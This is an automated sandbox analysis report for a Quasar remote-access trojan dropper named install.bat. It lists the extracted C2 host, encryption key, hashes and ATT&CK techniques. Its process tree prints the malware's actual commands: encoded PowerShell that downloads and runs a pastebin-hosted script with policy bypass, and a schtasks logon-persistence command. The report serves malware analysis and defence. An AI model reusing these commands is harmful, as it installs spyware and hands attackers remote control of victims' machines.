quasar | c8cebb25512027ad70b61a647887fa4013489d2dc4294fce853b8363410c423d

General

Target

install.bat
Size

595B
MD5

369f9a8a381c74880783423b98ed52c9
SHA1

3bd04c343b1c361d4e9383010cb0be2380c3dbdb
SHA256

c8cebb25512027ad70b61a647887fa4013489d2dc4294fce853b8363410c423d
SHA512

a139d4d0a7d3f0f6a28690df219cb14adf6a4f0a7ff365bb1e8142ddf8be136ea919e44e4f3108d8fcf344031bff127c701d91b2949501e83d26fdbd6b746c7b

Score

10^/10

quasar office04 execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

Dystopian-62863.portmap.host:62863

Mutex

e1de8f9b-5a7a-4798-a6fb-c03591ef3442

Attributes

encryption_key
8C1BB32BFD240218BA0CB04D65341FB1FDE1E001
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
SubStart
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000c000000023b85-60.dat	family_quasar
behavioral2/memory/2176-67-0x00000000002A0000-0x00000000005C4000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

flow	pid	Process
7	1424	powershell.exe
17	648	powershell.exe
19	648	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
3756	powershell.exe
1424	powershell.exe
3992	powershell.exe
648	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
2176	RuntimeBroker.exe
3244	Client.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
6	pastebin.com
7	pastebin.com
18	raw.githubusercontent.com
19	raw.githubusercontent.com

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1040	schtasks.exe
4852	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3756	powershell.exe
3756	powershell.exe
1424	powershell.exe
1424	powershell.exe
3992	powershell.exe
3992	powershell.exe
648	powershell.exe
648	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3756	powershell.exe
Token: SeDebugPrivilege	1424	powershell.exe
Token: SeDebugPrivilege	3992	powershell.exe
Token: SeDebugPrivilege	648	powershell.exe
Token: SeDebugPrivilege	2176	RuntimeBroker.exe
Token: SeDebugPrivilege	3244	Client.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3244	Client.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4712 wrote to memory of 3756	4712	cmd.exe	84
PID 4712 wrote to memory of 3756	4712	cmd.exe	84
PID 3756 wrote to memory of 4816	3756	powershell.exe	85
PID 3756 wrote to memory of 4816	3756	powershell.exe	85
PID 4816 wrote to memory of 1424	4816	cmd.exe	87
PID 4816 wrote to memory of 1424	4816	cmd.exe	87
PID 4816 wrote to memory of 3992	4816	cmd.exe	88
PID 4816 wrote to memory of 3992	4816	cmd.exe	88
PID 3992 wrote to memory of 648	3992	powershell.exe	89
PID 3992 wrote to memory of 648	3992	powershell.exe	89
PID 648 wrote to memory of 2176	648	powershell.exe	94
PID 648 wrote to memory of 2176	648	powershell.exe	94
PID 2176 wrote to memory of 4852	2176	RuntimeBroker.exe	95
PID 2176 wrote to memory of 4852	2176	RuntimeBroker.exe	95
PID 2176 wrote to memory of 3244	2176	RuntimeBroker.exe	97
PID 2176 wrote to memory of 3244	2176	RuntimeBroker.exe	97
PID 3244 wrote to memory of 1040	3244	Client.exe	98
PID 3244 wrote to memory of 1040	3244	Client.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\install.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\install.bat' -ArgumentList 'am_admin'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\install.bat" am_admin
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4816
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NoLogo -enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBwAGEAcwB0AGUAYgBpAG4ALgBjAG8AbQAvAHIAYQB3AC8ASwBZAGQAUgByAFQAUwB4ACkALgBjAG8AbgB0AGUAbgB0ACAAPgAgACQAZQBuAHYAOgB0AGUAbQBwAFwAQQBtAC4AcABzADEA
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NoLogo -enc cABvAHcAZQByAHMAaABlAGwAbAAgAC0AbgBvAGUAeABpAHQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAAQgB5AHAAYQBzAHMAIAAtAEYAaQBsAGUAIAAkAGUAbgB2ADoAdABlAG0AcABcAEEAbQAuAHAAcwAxAA==
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3992
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\Am.ps1
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:648
      - C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2176
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "SubStart" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4852
        
        C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
        
        "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3244
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "SubStart" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
3ca1082427d7b2cd417d7c0b7fd95e4e

SHA1
b0482ff5b58ffff4f5242d77330b064190f269d3

SHA256
31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

SHA512
bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eaef2fd22964f0384c0786fe42e1bdf4

SHA1
f9c5f5a3862bc2b2ac880964b03461d3fe0a369c

SHA256
a848c493c132c070771c4c1fb73612fc322d63074c48476fbdce38d28fe451c8

SHA512
4fab0a6499eb2be406bfc67da714031e93c35d4d244d3e91c22fb7954e78d17a0523b911383f39debab2829591652e21244615164b1824a73302c733a5ea8846

Download Submit
C:\Users\Admin\AppData\Local\Temp\Am.ps1

Filesize
474B

MD5
26f3ed9427f9a33e13388303c4179845

SHA1
3cb3e6201b751e6aa020e90d816f10cb1e475969

SHA256
3a8da751f93c7ac6d49ba42a8b2562ac1a444f5ec7e6c08248a8072bc84f29ee

SHA512
336f23222b131f781111b0c5b2ee7d920932895e9ee4e8f50ce61ca0757fef3559a7ec408e80fe380e7354e8f3e87e0efa4afb25486a38febff607269df95f53

Download Submit
C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe

Filesize
3.1MB

MD5
e9a138d8c5ab2cccc8bf9976f66d30c8

SHA1
e996894168f0d4e852162d1290250dfa986310f8

SHA256
e63b41bfdd3a89b6ebcfc05db158fdc399dbc081e49b01498831a62df34defc3

SHA512
5982fc759c8b1121ab5befaac53e1521931f06d276140195fa1fcbcd1069f546253e366ef4cc37245b3bc2ed60c4b8d0583f133a1264efd77938adf456a08ccc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_14inttvj.1jt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/648-68-0x0000026CA3FF0000-0x0000026CA4066000-memory.dmp

Filesize
472KB

Download
memory/648-54-0x0000026CA3BA0000-0x0000026CA3BE4000-memory.dmp

Filesize
272KB

Download
memory/1424-29-0x00007FFB5E6D0000-0x00007FFB5F191000-memory.dmp

Filesize
10.8MB

Download
memory/1424-30-0x000001F3FF290000-0x000001F3FFA36000-memory.dmp

Filesize
7.6MB

Download
memory/1424-34-0x00007FFB5E6D0000-0x00007FFB5F191000-memory.dmp

Filesize
10.8MB

Download
memory/1424-27-0x00007FFB5E6D0000-0x00007FFB5F191000-memory.dmp

Filesize
10.8MB

Download
memory/1424-28-0x00007FFB5E6D0000-0x00007FFB5F191000-memory.dmp

Filesize
10.8MB

Download
memory/2176-67-0x00000000002A0000-0x00000000005C4000-memory.dmp

Filesize
3.1MB

Download
memory/3244-75-0x000000001BAD0000-0x000000001BB20000-memory.dmp

Filesize
320KB

Download
memory/3244-80-0x000000001CB20000-0x000000001CB5C000-memory.dmp

Filesize
240KB

Download
memory/3244-79-0x000000001C3A0000-0x000000001C3B2000-memory.dmp

Filesize
72KB

Download
memory/3244-76-0x000000001C420000-0x000000001C4D2000-memory.dmp

Filesize
712KB

Download
memory/3756-12-0x00007FFB5E6D0000-0x00007FFB5F191000-memory.dmp

Filesize
10.8MB

Download
memory/3756-11-0x00007FFB5E6D0000-0x00007FFB5F191000-memory.dmp

Filesize
10.8MB

Download
memory/3756-10-0x00000250F2660000-0x00000250F2682000-memory.dmp

Filesize
136KB

Download
memory/3756-15-0x00007FFB5E6D0000-0x00007FFB5F191000-memory.dmp

Filesize
10.8MB

Download
memory/3756-0-0x00007FFB5E6D3000-0x00007FFB5E6D5000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads